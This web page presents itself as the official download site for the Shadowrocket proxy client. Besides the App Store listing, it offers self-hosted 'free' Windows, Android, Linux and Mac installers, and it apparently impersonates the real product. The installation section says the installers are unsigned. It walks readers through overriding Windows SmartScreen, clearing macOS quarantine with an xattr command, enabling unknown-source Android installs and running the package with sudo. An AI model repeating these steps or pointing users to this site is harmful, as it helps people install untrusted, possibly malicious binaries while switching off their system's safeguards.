Official site · Official manual / Download and install

Download Shadowrocket
Installation for all platforms

Choose an option for your device. iPhone / iPad costs $2.99 one-time through the App Store; Mac, Windows, Android and Linux versions are free.

Current version LoadingiPhone / iPad $2.99 one-time; Mac, Windows, Android and Linux versions are free

Download source
iPhone / iPad: App Store
Other platforms: installers from this site
Current version
Loading
2 ways to get it
iPhone / iPad $2.99 one-time
Mac / Windows / Android / Linux free
Developer
Shadow Launch Technology Limited
App ID
932747118

A one-time client purchase is not a connection plan. After installation, you still need to import your own subscription or server information. This site does not provide, sell or recommend nodes or subscriptions.

01 / Choose a device

Downloads for all platforms

Automatic device detection only helps you find the right section. Check your device architecture before installing. On Mac, confirm the chip or processor in About This Mac.

iPhone / iPad

$2.99 one-time. Mac, Windows, Android and Linux versions are free. iPhone and iPad use the same App Store product page. Before paying, check the product name, developer and icon; the final charge is the amount shown in the current storefront.

Check the App Store listing for system requirements. Open the compatibility information on the product page to see whether your device is supported; do not rely on the app name in search results alone.

Mac

Free. iPhone / iPad costs $2.99 one-time through the App Store. Mac installers are available for Apple Silicon and Intel; macOS 12 or later is required. After downloading, open the disk image, move Shadowrocket to Applications, then launch it from the Applications folder.

The two installers are for different processors. Do not guess based on the computer's appearance or purchase year. If macOS blocks the first launch, follow the instructions below.

Not sure which to choose? Open About This Mac and check Chip or Processor.

Windows

Free. iPhone / iPad costs $2.99 one-time through the App Store. This site provides a Windows 64-bit .exe installer. Check the system type in Settings under System → About to confirm the architecture before running the installer.

Close any running instance of Shadowrocket before installing, and keep a backup of your existing configuration. If SmartScreen appears, confirm the download source and file type, then follow the instructions on this page instead of disabling system protection.

Android

Free. iPhone / iPad costs $2.99 one-time through the App Store. The Android version is an arm64 .apk for most phones and tablets from recent years; check your device's actual processor architecture to confirm compatibility.

We recommend downloading with the system browser, then opening the file from your downloads. If a download will not start in WeChat, use its menu to open this page in a browser. For the first installation, allow the browser used to open the file to install unknown apps.

Linux

Free. iPhone / iPad costs $2.99 one-time through the App Store. Linux installers target x86_64: choose .deb for Debian / Ubuntu, .rpm for Fedora / openSUSE, or AppImage for other distributions where suitable.

Your distribution's package manager checks software dependencies. If a component is missing, read the terminal message first. AppImage requires execute permission and a compatible runtime environment. Package formats are not alternatives to processor architectures.

Installers and configuration are separate

Installers on this page are available from this site's /dl/shadowrocket/ addresses. Installation deploys the client; it does not import your servers, subscriptions or rules. If you are replacing a device or updating an existing installation, export your current Config first and save separately any information you will need to import again.

02 / First launch

Installation steps when prompted

Desktop and Android installers are not code-signed, so the system may block installation or the first launch. Check the source first, then respond to the prompt shown on your device.

Platform and promptStepsCheck before continuing
Windows / SmartScreen If you see “Windows protected your PC,” select “More info,” then “Run anyway,” and follow the installer prompts. Confirm the file came from this page and is a 64-bit .exe. A computer managed by an organization may not offer the option to continue; contact the device administrator.
macOS / Developer cannot be verified After trying to open the app, go to System Settings → Privacy & Security. Find the relevant blocked-app notice, select “Open Anyway,” then confirm as prompted. Move the app to Applications first and confirm that the installer architecture matches your Mac. Button labels may vary slightly between system versions.
macOS / “App is damaged” prompt After confirming the source, app location and name, run this command in Terminal: xattr -cr /Applications/Shadowrocket.appThen reopen the app. This command clears extended attributes for that app and should not be used on files from unknown sources. If the download was interrupted or the file will not expand, download it again first.
Android / App from this source not allowed Follow the installation prompt to open Settings, enable “Allow from this source” for the browser used to download or open the file, then return to the installer. Grant permission to the app that is actually installing the file; there is no need to grant it to every app. You can turn off this permission in the same place after installation.
Linux / AppImage will not run Open a terminal in the directory containing the file and grant execute permission to the downloaded file: chmod +x Shadowrocket-*.AppImageThen open that file. The directory should contain only the relevant file you intend to process. Execute permission does not ensure dependencies are present; check terminal messages for missing components if it fails to run.
Linux / Install .deb on Debian or Ubuntu In the downloads directory, run: sudo apt install ./Shadowrocket-*.debReview the installation plan shown by the package manager before confirming. The wildcard in the command matches files in the current directory; keep only the relevant package there. On RPM-based distributions, use the system package manager to install the .rpm.

These steps address system restrictions on installation sources, file attributes or execute permissions; they will not resolve every error. If security software reports a specific malware detection, or the system reports an invalid file format or incompatible processor, stop and review the message. Download the correct installer architecture from this page again.

On first launch, the system may ask for permission related to network access. Read the permission dialog, confirm the name of the app making the request, then decide whether to continue. Devices managed by an organization, school or parental controls must comply with those policies. Do not try to bypass them by repeatedly running the installer.

03 / iPhone and iPad only

App Store region and account

Mac, Windows, Android and Linux installers are available on this page. You do not need to change your App Store region to download them.

The app is not available in the mainland China store. The App Store storefront is determined by the country or region of the Apple ID used for Media & Purchases, not by the webpage language or the device language alone. If you cannot find the app, check your storefront account information first to determine whether the issue is availability.

Check your current country or region

On iPhone / iPad, open Settings, tap your Apple ID at the top, then choose Media & Purchases → View Account → Country/Region. The system may ask you to verify your identity. This shows the account used for purchases; if the device is signed in to different accounts for different purposes, use the account shown under Media & Purchases.

Review region-change options and restrictions

If you need to change the region, go to Change Country or Region in the same place. Apple’s account process will show any requirements, which may involve account balance, existing subscriptions, Family Sharing status or a payment method. Read the system prompts and meet the applicable requirements. Do not enter payment information that is not yours. This page explains where to find the setting but cannot guarantee that an account can change regions.

After opening the App Store product page linked here, if it says the app is unavailable in your region, check your account region. If it says your device is incompatible, review the compatibility information. Account verification, payment failures and paused downloads are different issues and should be handled separately. Before purchasing, confirm which purchase account is signed in so you can find the purchase record later.

04 / Verify more than the name

Verify the official Shadowrocket app

Store details help confirm the app’s identity. Official screenshots show the interface, but do not replace checking the developer, icon and app ID.

Check three details in the App Store

First, confirm the name is Shadowrocket. Then check the developer in the product details: Shadow Launch Technology Limited. The official icon is a blue-violet outlined rocket on a white background; compare it with the official icon in this site's header. Finally, check the app ID in the product page address: it must be 932747118. A similar name or a high search ranking is not a substitute for these checks.

iPhone / iPad costs $2.99 one-time through the App Store; Mac, Windows, Android and Linux versions are free. A same-name App Store listing marked free is an imitation; return to the product page linked here to verify the app. Other platforms are free to obtain, so do not apply App Store pricing checks directly to desktop or Android installers.

Check this site's installers and the actual interface

For Mac, Windows, Android and Linux, choose the corresponding button on this page. Installer addresses are under /dl/shadowrocket/ on this site. Do not judge the source by a file icon or name alone, and do not use installers from unknown sources or files that have been modified. If a download is interrupted, download the complete file again instead of running an incomplete installer.

The two screenshots below show the official English interface uploaded by the developer to the App Store. Home shows the connection toggle, Global Routing and server list; Add Server shows fields for entering connection details manually. These screenshots help locate controls on iPhone / iPad. Layouts, field order and system permission prompts may differ on other platforms; pixel-for-pixel consistency is not expected.

Official Shadowrocket Home screenshot: Not Connected, Global Routing, Connectivity Test and SERVER groups
Home: Check Not Connected, Global Routing, Connectivity Test and existing entries in the SERVER groups.
Official Shadowrocket Add Server screenshot: Type, Host, Port, Password, Method and import options
Add Server: Enter existing server details such as Type, Host and Port, or use options such as Scan QR Code.

05 / Reinstall and transfer

Restore purchases and move to a new device

Restoring the app and restoring its configuration are separate tasks. Reinstalling does not guarantee that subscriptions, rules and server settings will return to their previous state.

Restore iPhone / iPad purchase records

Open the App Store, go to your account and find Purchased. On some system versions, you may first see an Apps entry before opening your purchase list. Search for Shadowrocket and download it again. Use the Apple ID that made the original purchase; one purchase on the same Apple ID covers both iPhone and iPad, so a repeat payment is usually not required.

iPhone / iPad costs $2.99 one-time; Mac, Windows, Android and Linux versions are free. If the store still displays a purchase price, do not pay immediately. First check the purchase account, purchase history and availability in the current storefront. Redownloading may also depend on device compatibility and current App Store availability.

Import your configuration after installation

If you still have the old device, export Config first and save your existing subscription and necessary server information. Configuration may contain access credentials; do not post it in public comments, screenshots or group chats. After installing the client on the new device, import your own configuration or subscription, check protocol parameters and Global Routing settings, then test the connection.

When moving to a new computer or Android device, return to this page and download the free installer for the appropriate architecture. Do not treat the old computer's program folder as a complete migration backup: system permissions, configuration locations and processor architectures may differ. Install the client first, then transfer your own configuration. This also makes it easier to tell installation problems from connection parameter errors.

06 / Cost and requirements

Two ways to get Shadowrocket and subscription boundaries

Shadowrocket is a closed-source commercial application. Getting the client and preparing usable connection information are separate matters.

iPhone / iPad: $2.99 one-time through the App Store; there is no monthly client purchase fee. Storefronts may show prices in local currency; the price displayed at checkout applies. Mac, Windows, Android and Linux: Download the corresponding version from this site for free.

A one-time client purchase is not a connection plan. This site does not provide, sell or recommend nodes or subscriptions. On every platform, you need your own subscription or server information to configure a connection. A purchase record only confirms the client purchase status; it does not indicate any server's availability, validity period or usage allowance.

If installation succeeds but there are no connection entries to select in Home, import your existing information instead of downloading the installer again. If an entry is present but the connection fails, check the address, port, protocol, authentication parameters and system time. Installation and server settings are separate things to check; repeated reinstalls usually do not fix incorrect entries.

iPhone / iPad app updates are managed through the App Store. Desktop, Android and Linux users can return to this page for the current installer. Back up Config before updating, then check subscription and rule settings afterward. See the getting started guide for the full import and verification sequence, and the App Store guide for purchase and restore details.

07 / Installation FAQ

Download and first-launch questions

Confirm the platform and architecture first, then distinguish App Store account, system permission and connection configuration issues. See common questions for more troubleshooting.

Can I use Shadowrocket on a computer or Android phone?

Yes. Mac, Windows, Android and Linux versions are free and available from this page; iPhone / iPad costs $2.99 one-time through the App Store. All platforms require your own subscription or server information.

Which Mac version should I choose: Apple Silicon or Intel?

Open About This Mac from the Apple menu. Choose the Apple Silicon version if it lists an Apple chip, or the Intel version if it lists an Intel processor. Both installers require macOS 12 or later.

What should I do if Windows displays a security warning?

First confirm that the installer came from this site's download page. If SmartScreen says “Windows protected your PC,” select “More info,” then “Run anyway.” If the device is managed by an organization or reports malware, check the specific cause first; do not repeatedly force the installer to run.

Why can't I find Shadowrocket in the App Store?

First check the country or region for the Apple ID used for Media & Purchases. The app is not available in the mainland China store; visibility depends on the account's country or region. Open the product page linked here and check for compatibility or account restriction notices.

Do I have to pay again when I switch devices?

On iPhone / iPad, sign in with the Apple ID used for the original purchase, then redownload from Account → Purchased in the App Store. A repeat purchase is usually not required; one purchase covers both devices. Mac, Windows, Android and Linux versions are free; download the appropriate installer again on the new device.

Can I install Shadowrocket on iPad, and where can I check system requirements?

Yes. iPhone / iPad use the same App Store product page and cost $2.99 one-time; other platforms are free. Check the App Store listing for iPhone / iPad system requirements and expand the compatibility information to confirm support for your device.